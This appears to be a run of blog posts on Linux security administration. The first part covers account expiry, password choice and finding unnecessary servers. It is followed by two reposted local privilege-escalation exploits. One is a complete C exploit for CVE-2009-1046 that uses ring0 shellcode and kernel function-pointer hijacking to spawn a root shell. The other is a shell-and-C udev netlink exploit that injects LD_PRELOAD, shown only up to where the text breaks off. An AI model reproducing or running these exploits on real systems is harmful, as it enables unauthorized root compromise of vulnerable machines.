User accounts are seldom permanent. Students graduate and employees move on to other jobs, for instance. Whenever an account falls into disuse, it should be disabled or removed to minimize the risk of its being abused. If you receive a notice that the user has left your organization or should no longer have an account for some other reason, you can manually disable or delete the account. You might not always receive such a notification, though. One way to help automate the process is to create accounts that automatically expire, or that have passwords that expire. You can use the usermod command to set an expiration date on an account, thus:

# usermod -e 2003-07-04 george

This command tells the system that the george account will become inactive on July 4, 2003. (You can use the -e parameter to useradd to create an account with an expiration date initially, as well.) This approach is most useful when you know that a given user will no longer need an account after a certain date, such as with student accounts and those for temporary employees.

A less drastic approach is to set up an expiring password. These require the user to change the password on a regular basis, such as once a month. You can do this with the chage command, thus:

# chage -M 30 -W 5 george

This command tells the system that george must change his password every 30 days, and to warn george of an impending deadline 5 days before the fact. If george doesn’t change his password, the account will be disabled and require administrative intervention to be used again.

These automated processes can help reduce problems, but they aren’t appropriate for all situations. For instance, if the account exists for some nonlogin process, such as file sharing via a Samba server or mail delivery only, users may not see password expiration messages, at least not unless you create custom cron jobs to check for impending account expirations and notify users, say by sending them e-mail about the upcoming password expirations. There are some active steps you can take to monitor account usage. For instance, the last command returns information on the last few logins, and many distributions maintain a log file called /var/log/auth in which information on authentication is stored. If you want to be very diligent, you might even set up a cron job to monitor system log files, note when users log in, and notify you if an account goes unused for more than some given period of time. You can use these tools to monitor account usage, and if an account falls into disuse, investigate further to determine if it should be deleted.

You might need to take active administrative steps to alter account availability. For instance, once an account has automatically expired, you might want to delete it if you know it won’t be used again. You might want to write a script that checks for expired accounts and reports back to you if it finds any. (These accounts can be identified because the third colon-delimited field in /etc/shadow contains a smaller value than the eighth field.)

Checking for Account Abuse

A nightmare for any system administrator is a local account that’s being abused. Perhaps one of your users is untrustworthy, and is using the computer to attack other systems, or even the local system itself. Another possibility is that an outsider might have hijacked a user’s account in order to abuse it.

One way to check for abuse is to look for suspicious activity in your system log files, such as /var/log/messages and /var/log/secure. (Precisely what log files exist, and what information they contain, varies from one distribution to another.) System log files mostly monitor the activity of servers, though, not of clients. Therefore, you might not see any evidence of a local user abusing, say, a Telnet client to attack another system. Such evidence might turn up in a firewall’s log files, though, depending on your network’s configuration. You might also see suspicious activity if your system comes under attack from outside.

Unfortunately, checking for such abuses by scanning log files is tedious at best. Automated tools like the Simple Watcher (SWATCH, http://oit.ucsb.edu/~eta/swatch/) can help by scanning log files for key strings that might indicate trouble, but such tools aren’t foolproof.

One potentially important step you can take in tracking, if not preventing, abuse of your system is to run the auth server (also known as identd). When a client on your system contacts an external server, that server might try contacting yours to find the identity of the user who makes the outgoing connection. If your user causes trouble on the remote system, that system’s administrator can contact you and tell you who was causing problems, because the username will be recorded in the remote system’s logs. This process only works, of course, if identd is installed and running on your system, and if it’s not been compromised itself. (Most distributions ship with this server, which is very basic and so requires only minimal configuration. It’s normally run from a super server.)

Ultimately, your ability to track and prevent abuse of your local systems is limited. You can be alert to suspicious local activity, such as processes that should not be running, but closely monitoring all the activity on even a single computer is far more work than a single system administrator can undertake.

Setting Good Passwords

In order to use passwords, computers must store them on disk. Typically, computers encrypt passwords, generally using a hash, or one-way encryption algorithm. In Linux, password files are usually stored in /etc/shadow (old Linux systems often used /etc/passwd). This practice makes a password file useless even if a cracker obtains it梠r so it would be in a perfect world. Increasing CPU power and disk space have made it possible for crackers to encrypt entire dictionaries that span multiple languages and include many proper names and variant spellings, letter order reversals, and so on. If a cracker obtains an encrypted password file, the cracker can compare the file’s entries to the encrypted results from the dictionary file. If a match results, the cracker has learned the password.

For this reason, the best passwords are random collections of letters, numbers, and any other characters the computer allows for a password. Such random strings are unlikely to appear in a cracker’s password-cracking dictionary. Unfortunately, random passwords are hard to remember, so most people pick easy-to-remember梐nd therefore easy-to-break梡asswords. A reasonable compromise is to build something that won’t appear in a dictionary but that has personally memorable characteristics. This process is two-step: First, build a base, and then modify that base.

To build a base, take a pair of unrelated words and merge them together, such as bunpen; or use an acronym that has meaning only to you, such as yiwttd (for yesterday I went to the dentist). This base is easy for you to remember and should not appear in a dictionary. It’s best if the base is as long as possible. (I used six-character bases as examples because eight is the limit on some systems, and subsequent modifications will increase the length.) Nonetheless, a cracker might stumble upon your base by combining words from a dictionary. Therefore, further modifications are necessary.

Possible modifications include:

  • Mix case? If your system’s passwords are case-sensitive, mix up the case randomly, as in BUnPeN or YiWTtd. Many systems use case-insensitive passwords, though, so this step may not help security in all situations. For instance, Windows uses case-insensitive passwords for its SMB/CIFS file sharing.

  • Add digits or punctuation? Add two or three randomly selected digits or punctuation, creating something like BU3nP&eN or Y+iWTtd2.

  • Reverse a word? If you used two words as your base, reverse the letter order of one of them. This might produce BU3nNe&P, for instance.

Further modifications are, of course, possible. The key is that, despite the random appearance of these end results, the person who produced them can regenerate the password with relative ease. Such passwords therefore need not be written down or stored unencrypted on a computer. These two practices both greatly degrade security, because the paper or computer file might fall into the wrong hands.

If you want to check that your users’ passwords are good, you can use a password cracking program on them, such as Crack (http://www.users.dircon.co.uk/~crypto/). If the program delivers a password to you, you can help the user create a better password.

Warnning:

If you run a password-cracking program, do it on a computer that’s not connected to any network to eliminate the risk that a cracker will stumble across your efforts. Also, as with port scanning, password cracking is grounds for dismissal from many employers, so if you want to do this to improve local security, be sure to obtain permission first!

In addition to creating good passwords, users should take pains to keep passwords secure. This means that users should never write down passwords or give them to other people (even friends, family members, or co-workers). You should explicitly tell your users that you will never need to know their passwords; there have been scams in the past where crackers have claimed to be system administrators and asked for passwords, and users have fallen for the ruse.

Even if users create good passwords and don’t give them away, they can be discovered through various means. One is shoulder surfing, in which a cracker observes a user in a public area typing in the password. This is a real risk in public computer centers such as those common on university campuses, and to a lesser extent in the cubicle farms common in many companies. Another risk, which has been described elsewhere in this book, is password sniffing, in which a computer on a network is programmed to recover passwords sent between other computers on the network. This is a risk both on local networks and on the Internet at large. You can minimize the risk on local Ethernet networks by using switches rather than hubs; switches don’t echo data to all connected devices, so the sniffer would have to be on the client or server computer itself to acquire a password. A still better approach is to use protocols that encrypt the password, rendering an intercepted password useless.

Tagged with:
Aug 10
Shutting Down Unnecessary Servers:

Server programs, by design, provide access to a computer. Thus, every server that runs on a computer increases the risk that an unwanted individual will gain access to the computer. The interloper might gain access through a bug in the server, a misconfiguration of the server, or a compromised password. Whatever the exact details, one effective means of reducing this risk is to shut down unnecessary servers. The first step to doing this is locating unnecessary servers. Once located, you must decide to shut the server down. Shutting down a server is normally a simple task, but some methods are more effective than others.

Locating Unnecessary Servers

The task of locating unnecessary servers can be broken down into two subtasks: Identifying servers that are running on your system and determining which of these servers is unnecessary to normal system operation. There are several ways to go about both of these tasks, and you may want to do so in multiple ways to improve your chances of success.

Locating Servers

Unfortunately, there is no centralized registry of running servers on a Linux system. If there were, locating servers would be a relatively straightforward process. Instead, you must piece together information from several different sources. It may be possible to overlook a server by one method, so it’s best if you use several to locate your servers.

Using Package Management Systems

One tool that’s useful in locating servers is your distribution’s package management system. If you use the Red Hat Package Manager (RPM) or Debian packages exclusively, your database should contain a listing of every package that’s installed on a computer. You can use this database to browse the installed packages, reading package descriptions to help you determine whether a package contains a server, and if so, whether you need it or not. Tools that are particularly helpful for this task are GUI package management systems, such as Red Hat’s GNOME RPM, SuSE’s YaST, and the Storm Package Manager (part of the Storm distribution, but also useable with Debian). These tools allow you to browse the installed packages in a window. You can click a package and choose an option to read a description of the package. Some package managers categorize their packages so that you can more easily locate them, but these categories aren’t as strictly defined as they might be, so you may need to look in all the categories to locate all your servers. This approach also will not find servers that you installed from tarballs or from source code. Finally, you can’t tell whether a server is actually running with this approach. A server that’s installed but not running poses much less risk than one that’s actually running. (The main risk is that some future configuration change might accidentally start the server running, thus increasing your risk.)

Examining server startup methods can help you determine what servers are running, but it may not paint a complete picture of what servers are installed. For that, you’ll need to use a package management system or examine every executable on your computer (a tedious proposition at best). As noted earlier, a package that’s installed but not running poses much less of a risk than does one that’s installed and running.

Examining Running Processes

Another tool that can be helpful in locating servers is ps. This command returns information on running processes. You can provide dozens of different options to modify the program’s operation, but typing ps ax is a good starting point if you want to locate servers. The output is likely to be quite extensive, so you may want to redirect it to a file or pipe it through more or less so you can examine the whole of the output. If you’re searching for a specific server, you can pipe the result through grep, as in ps ax | grep sendmail to locate information on any sendmail processes that are running. However you use it, ps provides information on both server and nonserver processes. Here’s an edited example of its output:

$ ps ax
  PID TTY      STAT   TIME COMMAND
    1 ?        S      0:15 init [3]
  502 ?        S      0:05 named -u bind
  520 ?        S      0:01 cupsd
  535 ?        SW     0:00 [nfsd]
 1741 pts/4    S      0:00 /bin/bash
 4168 ?        S      0:00 httpd

Actual ps outputs are likely to contain dozens of lines, even on a lightly loaded system. This example has trimmed all but a few entries for demonstration purposes. The first entry, with a process ID (PID) of 1, is always init. This process sits at the root of the process tree; all others derive from it, directly or indirectly. Processes whose names (in the COMMAND column) are in brackets, such as [nfsd], are kernel processes. You might recognize nfsd as the name of the NFS daemon kernel-based server. Other servers in this example are named, cupsd, and httpd, all of which are user-space servers. Two clues help identify these as servers. First, their names all end in d, for daemon. Second, they aren’t tied to specific ttys (the TTY column contains a question mark). Many nonserver processes, such as /bin/bash in this example, are tied to specific ttys. Neither of these details indicates with certainty that a process is a server, but they’re useful clues.

Once you’ve spotted potential servers with ps, you may want to try locating documentation for the processes in question. Type man name, where name is the name of the process; and try locating the binary file with the name of the process, and track down its package and documentation (for instance, rpm -qf /path/to/name to locate the package associated with name on an RPM-based system, or dpkg -S /path/to/name to do the same thing on Debian).

Keep in mind when using ps that it won’t locate servers that aren’t running at the moment you check for them. In particular, if a server is started through a super server, you won’t find it by examining a process list unless somebody is using the server at the moment you try this test. This procedure also won’t locate a server that’s crashed or has been temporarily taken down for maintenance.

Using netstat

One problem with the ps approach is that it’s not always obvious which processes are involved in network operations, much less which are servers. One tool that you can use to help fine-tune this identification is netstat.

This program reports information on network connections, including which ports are in use. Like ps, netstat takes a large number of options that modify its behavior. To help locate servers, netstat -lp is a good starting point. This locates ports that are being listened to (-l), and causes netstat to print (-p) the name of the server that’s doing the listening. The output also includes the port to which the server is listening, and additional information. As with ps, you’ll probably want to redirect the output to a file or pipe it through less or more.

Although netstat can be a useful tool, it’s got its limits. It displays the ports that are being listened to, but the program list won’t be completely accurate for servers started through a super server; netstat will report the super server name rather than the name of the program that ultimately fields the request.

Using External Scanners

One of the most powerful tools for locating servers is an external scanner program, such as Nessus (http://www.nessus.org), SAINT (http://www.wwdsi.com/saint/), or Nmap (http://www.insecure.org/nmap/). These programs run on a computer other than the one you want to check, and scan the target system for running servers. Depending on the exact goals of the scanner developers, it may report additional information, such as the OS in use on the target or whether a server has any known vulnerabilities. A basic scan can often be performed very simply by typing the tool’s name followed by the target system’s hostname, as in nmapgingko.threeroomco.com. The result should be a list of open ports and associated server types.

WARNING:

Port scanners are frequently used by crackers to help them locate vulnerable systems. Using the same tools yourself can be helpful in that you’ll spot the sorts of vulnerabilities a miscreant might locate. Sadly, using these tools can also cast suspicion upon you, especially if the use of the tool is unauthorized. Before you obtain and use a port scanner, clear its use with your superiors. If you don’t, you could find yourself in trouble erhaps even enough to lose your job!

An external scan can be particularly helpful if you suspect a server may have already been compromised. A competent cracker can replace tools like ps and netstat so that any additional servers won’t appear to be running. An external scan might discover these servers.

The drawback to an external scan is that it may not spot servers if they’re not accessible to the system doing the scanning. For instance, if a computer has two network interfaces, scanning one interface might turn up no servers running, when many servers are running on the other interface. Likewise, firewall tools can block access to servers based on IP addresses, so even if a computer has just one network interface, an external scanner might not detect a server if a firewall blocks the scanning system.

Determining When a Server Is Unnecessary

Once you’ve developed a list of servers, you must decide which ones are necessary. Unfortunately, this task isn’t always easy. Unless you’re intimately familiar with the operation of a Linux system, you may not understand the function of a server, and so may believe it’s unnecessary, when in fact it plays some important role. The preceding chapters of this book can help you determine whether many specific servers are necessary on your system. You can also consult the server’s documentation, such as its man pages, or perform a Web search to locate more information.

If you’re still not sure if a server is strictly necessary, you can try shutting it down and see what happens. If the computer continues to operate normally in all respects, you can be sure that the server wasn’t doing anything necessary; however, most servers do provide some sort of noticeable function. It’s possible that the server you shut down does something necessary, but that is not immediately obvious. For instance, you can run a font server  even on a computer that doesn’t run X. The computer itself will continue to function if you shut down the font server, but other systems will soon begin to malfunction.

You should also be very cautious about shutting down processes related to logins. Although remote login servers, may not be necessary, disabling local logins can cause serious problems that would require an emergency boot floppy to correct. You should be cautious about removing login processes started from SysV startup scripts or other system startup scripts.

One fortunate fact is that no process started from a super server is vital for local operation. If you don’t recognize a super server entry, you can remove it and the local computer will continue to function. As just noted, of course, other systems might be adversely affected, but you can remove all the super server entries and that computer will still boot and be usable from the console.

Methods of Shutting Down Servers

You can shut down servers in several different ways. As a general rule, there are two main approaches:

  • You can reverse whatever process is used to start the server. For instance, you can comment out an entry in /etc/inetd.conf or rename a SysV startup script.

  • You can uninstall the server. If the server’s files aren’t installed at all, it can’t be run.

The first method is usually the safest one to try if you’re not absolutely certain you don’t need the server, because it’s the easiest to reverse. If you disable a server and then find that you do need it, you can quickly restore its startup configuration.

Tagged with:
Jul 12

/* CVE-2009-1046 Virtual Console UTF-8  set_selection() off-by-one(two) Memory Corruption
* Linux Kernel <= 2.6.28.3
*
* coded by: sgrakkyu <at> antifork.org
* http://kernelbof.blogspot.com/2009/07/even-when-one-byte-matters.html
*
* Dedicated to all people talking nonsense about non exploitability of kernel heap off-by-one overflow
*
* NOTE-1: you need a virtual console attached to the standard output (stdout)
* – physical login
* – ptrace() against some process with the same uid already attached to a VC
* – remote management ..
*
* NOTE-2: UTF-8 character used is: U+253C – it seems to be supported in most standard console fonts
* but if it’s _not_: change it (and change respectively STREAM_ZERO and STREAM_ZERO_ALT defines)
* If you use an unsupported character expect some sort of recursive fatal ooops:)
*
* Designed to be built as x86-64 binary only (SLUB ONLY)
* SCTP stack has to be available
*
* Tested on target:
* Ubuntu 8.04 x86_64 (2.6.24_16-23 generic/server)
* Ubuntu 8.10 x86_64 (2.6.27_7-10 genric/server)
* Fedora Core 10 x86_64 (default installed kernel – without selinux)
*
*/

#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <errno.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <string.h>
#include <linux/tiocl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/mman.h>
#include <sched.h>
#include <unistd.h>
#include <fcntl.h>

#ifndef __x86_64__
#error "Architecture Unsupported"
#error "This code was written for x86-64 target and has to be built as x86-64 binary"
#else

#ifndef __u8
#define __u8  uint8_t
#endif
#ifndef __u16
#define __u16 uint16_t
#endif
#ifndef __u32
#define __u32 uint32_t
#endif
#ifndef __u64
#define __u64 uint64_t
#endif

#define STREAM_ZERO 10
#define STREAM_ZERO_ALT 12

#define SCTP_STREAM 22
#define STACK_SIZE 0×1000
#define PAGE_SIZE 0×1000
#define STRUCT_PAGE  0×0000000000000000
#define STRUCT_PAGE_ALT 0×0000000100000000
#define CODE_PAGE      0×0000000000010000
#define LOCALHOST "127.0.0.1"
#define KMALLOC "kmalloc-128"
#define TIMER_LIST_FOPS "timer_list_fops"

#define __msg_f(format, args…) \
  do { fprintf(stdout, format, ## args); } while(0)

#define __msg(msg) \
  do { fprintf(stdout, "%s", msg); } while(0)

#define __fatal_errno(msg) \
do { perror(msg); __free_stuff(); exit(1); } while(0)

#define __fatal(msg) \
do { fprintf(stderr, msg); __free_stuff(); exit(1); } while(0)

#define CJUMP_OFF 13
char ring0[]=
"\x57"                                      //    push   %rdi
"\x50"                                      //    push   %rax
"\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"      //    mov    %gs:0×0,%rdi
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41"  //    mov   xxx, %rax
"\xff\xd0"                                  //    callq  *%rax
"\x58"                                      //    pop    %rax
"\x5f"                                      //    pop    %rdi
"\xc3";                                     //    retq

/* conn struct */
static __u16 srvport;
struct sockaddr_in server_s;
static struct sockaddr_in caddr;

/* some fds.. */
static int g_array[10];
static int fd_zmap_srv=-1;
static int kmalloc_fd=-1;
static int unsafe_fd[4] = {-1,-1,-1,-1};

/* misc */
static int dorec = 0, cankill=1, highpage=0;
static char cstack[STACK_SIZE*2];
static __u16 zstream=STREAM_ZERO;
static __u32 uid,gid;
static __u64 fops;
static pid_t child=0;
static char symbuf[20000];

static void __free_stuff()
{
  int i;
  for(i=3; i<2048; i++)
  {
    if((unsafe_fd[0] == i || unsafe_fd[1] == i ||
       unsafe_fd[2] == i || unsafe_fd[3] == i))
        continue;

    close(i);
  }
}

static void bindcpu()
{
  cpu_set_t set;
  CPU_ZERO(&set);
  CPU_SET(0, &set);
  if(sched_setaffinity(0, sizeof(cpu_set_t), &set) < 0)
    __fatal_errno("setaffinity");
}

/* parse functions are not bof-free:) */
static __u64 get_fops_addr()
{
  FILE* stream;
  char fbuf[256];
  char addr[32];
  stream = fopen("/proc/kallsyms", "r");
  if(stream < 0)
    __fatal_errno("open: kallsyms");

  memset(fbuf, 0×00, sizeof(fbuf));
  while(fgets(fbuf, 256, stream) > 0)
  {
    char *p = fbuf;
    char *a = addr;
    memset(addr, 0×00, sizeof(addr));
    fbuf[strlen(fbuf)-1] = 0;
    while(*p != ‘ ‘)
      *a++ = *p++; 
    p += 3;
    if(!strcmp(p, TIMER_LIST_FOPS))
      return strtoul(addr, NULL, 16);
  }

  return 0;
}

static int get_total_object(int fd)
{
  char name[32];
  char used[32];
  char total[32];
  char *ptr[] = {name, used, total};
  int ret,i,toread=sizeof(symbuf)-1;
  char *p = symbuf;

  lseek(fd, 0, SEEK_SET);
  memset(symbuf, 0×00, sizeof(symbuf));
  while( (ret = read(fd, p, toread)) > 0)
  {
    p += ret;
    toread -= ret;
  }

  p = symbuf;
  do
  {
    for(i=0; i<sizeof(ptr)/sizeof(void*); i++)
    {
      char *d = ptr[i];
      while(*p != ‘ ‘)
        *d++ = *p++;  
      *d = 0;
      while(*p == ‘ ‘)
        p++;
    }
    while(*p++ != ‘\n’);
    if(!strcmp(KMALLOC, name))
      return atoi(total); 

  } while(*p != 0);
  return 0;
}

static void ring0c(void* t)
{
  int i;
  __u32 *p = t;
  for(i=0; i<1100; i++,p++)
  {
      if(p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid &&
         p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid)
         {
           p[0] = p[1] = p[2] = p[3] = 0;
           p[4] = p[5] = p[6] = p[7] = 0;
           /* dont care about caps */
           break;
         }
  }
}

static int get_kmalloc_fd()
{
  int fd;
  fd = open("/proc/slabinfo", O_RDONLY);
  if(fd < 0)
    __fatal_errno("open: slabinfo");
  return fd;
}

static int write_sctp(int fd, struct sockaddr_in *s, int channel)
{
  int ret;
  ret = sctp_sendmsg(fd, "a", 1,
               (struct sockaddr *)s, sizeof(struct sockaddr_in),
               0, 0, channel, 0 ,0);
  return ret;
}

static void set_sctp_sock_opt(int fd, __u16 in, __u16 out)
{
  struct sctp_initmsg msg;
  int val=1;
  socklen_t len_sctp = sizeof(struct sctp_initmsg);
  getsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, &len_sctp);
  msg.sinit_num_ostreams=out;
  msg.sinit_max_instreams=in;
  setsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, len_sctp);
  setsockopt(fd, SOL_SCTP, SCTP_NODELAY, (char*)&val, sizeof(val));
}

static int create_and_init(void)
{
  int fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
  if(fd < 0)
    __fatal_errno("socket: sctp");
  set_sctp_sock_opt(fd, SCTP_STREAM, SCTP_STREAM);
  return fd;
}

static void connect_peer(int fd, struct sockaddr_in *s)
{
  int ret;
  ret = connect(fd, (struct sockaddr *)s, sizeof(struct sockaddr_in));
  if(ret < 0)
    __fatal_errno("connect: one peer");
}

static void conn_and_write(int fd, struct sockaddr_in *s, __u16 stream)
{
  connect_peer(fd,s);
  write_sctp(fd, s, stream);
}

static int clone_thread(void*useless)
{
  int o = 1;
  int c=0,idx=0;
  int fd, ret;
  struct sockaddr_in tmp;
  socklen_t len;

  bindcpu();
  server_s.sin_family = PF_INET;
  server_s.sin_port = htons(srvport);
  server_s.sin_addr.s_addr = inet_addr(LOCALHOST);

  fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
  if(fd < 0)
    return -1;

  set_sctp_sock_opt(fd, SCTP_STREAM, SCTP_STREAM);  
  setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char *)&o, sizeof(o));

  ret = bind(fd, (struct sockaddr *)&server_s, sizeof(struct sockaddr_in));
  if(ret < 0)
    return -1;

  ret = listen(fd, 100);
  if(ret < 0)
    return -1;

  len = sizeof(struct sockaddr_in);
  while((ret = accept(fd, (struct sockaddr *)&tmp, &len)) >= 0)
  {
    if(dorec != 0 && c >= dorec && idx < 10)
    {
      g_array[idx] = ret;
      if(idx==9)
      {
        fd_zmap_srv = ret;
        caddr = tmp;
        break;
      }
      idx++;
    }
    c++;  
    write_sctp(ret, &tmp, zstream);
  }
  sleep(1);
  return 0;
}

static int do_mmap(unsigned long base, int npages)
{
  void*addr = mmap((void*)base, PAGE_SIZE*npages,
                   PROT_READ|PROT_WRITE|PROT_EXEC, 
                   MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);

  if(MAP_FAILED == addr)
    return -1;

  memset(addr, 0×00, PAGE_SIZE*npages);
  return 0;
}

pid_t start_listener()
{
  pid_t pid;
  pid = clone(clone_thread, cstack+STACK_SIZE-8,
              CLONE_VM|CLONE_FILES|SIGCHLD, NULL);
  return pid;
}

static void do_socks(struct sockaddr_in *s, __u16 stream)
{
  int i,fd;
  int n_objs = get_total_object(kmalloc_fd), tmp_n_objs;
  int next=8;

  for(i=0; next != 0; i++)
  {
    fd = create_and_init();

    tmp_n_objs = get_total_object(kmalloc_fd);
    if(!dorec && tmp_n_objs != n_objs)
      dorec=i;

    conn_and_write(fd, s, stream);
    if(dorec)
      next–;
  }
}

static void clr(int fd)
{
  /* use termcap instead..*/
  write(fd, "\33[H\33[J", 6); 
}

static char tiobuffer[2048];
void alloc_tioclinux()
{
  int i;
  char out[128*3];
  /* Unicode Character ‘BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL’ (U+253C) */
  char utf8[3] = { 0xE2, 0×94, 0xBC }; 
  //char utf8[3] = { 0xE2, 0×80, 0xBC }; 
  struct tiocl_selection *sel;
  char *t;
  void *v = malloc(sizeof(struct tiocl_selection) + 1);
  t = (char*)v;
  sel = (struct tiocl_selection *)(t+1);
  memset(out, 0×41, sizeof(out));
  for(i=0; i<128; i++)
  {
    tiobuffer[(i*3)]=utf8[0];
    tiobuffer[(i*3)+1]=utf8[1];
    tiobuffer[(i*3)+2]=utf8[2];
  }

  *t = TIOCL_SETSEL;
  sel->xs = 1;
  sel->ys = 1;
  sel->xe = 43;
  //sel->xe = 42; /* no overflow */
  sel->ye = 1;
  write(1, tiobuffer, sizeof(tiobuffer));
  if(ioctl(1, TIOCLINUX, v) < 0)
    __fatal("[!!] Unable to call TIOCLINUX ioctl(), need stdout to be on a virtual console\n");
}

static void migrate_evil_fd()
{
  int i;
  pid_t child;

  __msg("[**] Migrate evil unsafe fds to child process..\n");
  child = fork();
  if(!child)
  {

    /* preserve evil fds */
    setsid();
    if(!cankill) /* cant die .. */
      while(1)
        sleep(1);
    else
    {
      sleep(10); /* wait execve() before */
      for(i=0; i<4; i++)
        close(unsafe_fd[i]);

      exit(1);
    }
  }
  else
  {
    if(!cankill)
      __msg_f("[**] Child process %d _MUST_ NOT die … keep it alive:)\n", child);
  }
}

static void trigger_fault()
{
  char *argv[]={"/bin/sh", NULL};
  int fd,i;

  fd = open("/proc/timer_list", O_RDONLY);
  if(fd >= 0)
  {
    ioctl(fd, 0, 0);
    __free_stuff();
    migrate_evil_fd();
    for(i=0; i<4; i++)
      close(unsafe_fd[i]);

    if(!getuid())
    {
      __msg("[**] Got root!\n");
      execve("/bin/sh", argv, NULL);
    }
  }
  else
  {
    __msg("[**] Cannot open /proc/timer_list");
    __free_stuff();
  }
}

static void overwrite_fops( int sender,
                            struct sockaddr_in *to_receiver,
                            int receiver)
{
  char *p = NULL;
  if(!highpage)
    p++;
  else
    p = (void*)STRUCT_PAGE_ALT;

  __u64 *uip = (__u64*)p; 
  *uip = fops;
  write_sctp(sender, to_receiver, 1); 
  sleep(1);
  trigger_fault();
}

static __u16 get_port()
{
  __u16 r = (__u16)getpid();
  if(r <= 0×400)
    r+=0×400;
  return r;
}

int main(int argc, char *argv[])
{
  int peerx, peery,i;
  __u64 *patch;

  srvport = get_port();

  uid=getuid();
  gid=getgid();
  fops=get_fops_addr() + 64;
  if(!fops)
  {
    __msg("[!!] Unable to locate symbols…\n");
    return 1;
  }

  __msg_f("[**] Patching ring0 shellcode with userspace addr: %p\n", ring0c);
  patch = (__u64*)(ring0 + CJUMP_OFF);
  *patch = (__u64)ring0c;

  __msg_f("[**] Using port: %d\n", srvport);
  __msg("[**] Getting slab info…\n");
  kmalloc_fd = get_kmalloc_fd();
  if(!get_total_object(kmalloc_fd))
    __fatal("[!!] Only SLUB allocator supported\n");

  __msg("[**] Mapping Segments…\n");
  __msg("[**] Trying mapping safe page…");
  if(do_mmap(STRUCT_PAGE, 1) < 0)
  {
    __msg("Page Protection Present (Unable to Map Safe Page)\n");
    __msg("[**] Mapping High Address Page (dont kill placeholder child)\n");
    if(do_mmap(STRUCT_PAGE_ALT, 1) < 0)
      __fatal_errno("mmap");

    cankill=0;  /* dont kill child owning unsafe fds.. */
    highpage=1; /* ssnmap in higher pages */
    zstream=STREAM_ZERO_ALT;
  }
  else
    __msg("Done\n");

  __msg("[**] Mapping Code Page… ");
  if(do_mmap(CODE_PAGE, 1) < 0)
    __fatal_errno("mmap");
  else
    __msg("Done\n");

  memcpy((void*)CODE_PAGE, ring0, sizeof(ring0));

  __msg("[**] Binding on CPU 0\n");
  bindcpu();

  __msg("[**] Start Server Thread..\n");
  child = start_listener();
  sleep(3);
  do_socks(&server_s, zstream);
  for(i=0; i<7; i++)
  {
    close(g_array[8-1-i]); 
  }
  clr(1);
  alloc_tioclinux(); // trigger overflow
  peerx = create_and_init();
  connect_peer(peerx, &server_s);
  peery = create_and_init();
  connect_peer(peery, &server_s);
  sleep(1);

  unsafe_fd[0] = peerx;
  unsafe_fd[1] = g_array[8];
  unsafe_fd[2] = peery;
  unsafe_fd[3] = g_array[9];
  __msg("\n");
  __msg_f("[**] Umapped end-to-end fd: %d\n", fd_zmap_srv);
  __msg_f("[**] Unsafe  fd: ( ");

  for(i=0; i<4; i++)
    __msg_f("%d ", unsafe_fd[i]);
  __msg(")\n");

  __msg("[**] Hijacking fops…\n");
  overwrite_fops(fd_zmap_srv, &caddr, peery);

  /* if u get here.. something nasty happens…may crash..*/
  __free_stuff();
  __msg("[**] Exploit failed.. freezing process\n");
  kill(getpid(), SIGSTOP);
  return 0;
}

#endif

Tagged with:
May 15
#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang

cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0

int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;

main(int argc, char **argv) {
        char sysfspath[SHORT_STRING];
        char subsystem[SHORT_STRING];
        char event[SHORT_STRING];
        char major[SHORT_STRING];
        char minor[SHORT_STRING];

        sprintf(event, "add");
        sprintf(subsystem, "block");
        sprintf(sysfspath, "/dev/foo");
        sprintf(major, "8");
        sprintf(minor, "1");

        memset(&address, 0, sizeof(address));
        address.nl_family = AF_NETLINK;
        address.nl_pid = atoi(argv[1]);
        address.nl_groups = 0;

        msg.msg_name = (void*)&address;
        msg.msg_namelen = sizeof(address);
        msg.msg_iov = &iovector;
        msg.msg_iovlen = 1;

        socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
        bind(socket_fd, (struct sockaddr *) &address, sizeof(address));

        char message[LONG_STRING];
        char *mp;

        mp = message;
        mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
        mp += sprintf(mp, "ACTION=%s", event) +1;
        mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
        mp += sprintf(mp, "MAJOR=%s", major) +1;
        mp += sprintf(mp, "MINOR=%s", minor) +1;
        mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
        mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;

        iovector.iov_base = (void*)message;
        iovector.iov_len = (int)(mp-message);

        char *buf;
        int buflen;
        buf = (char *) &msg;
        buflen = (int)(mp-message);

        sendmsg(socket_fd, &msg, 0);

        close(socket_fd);

	sleep(10);
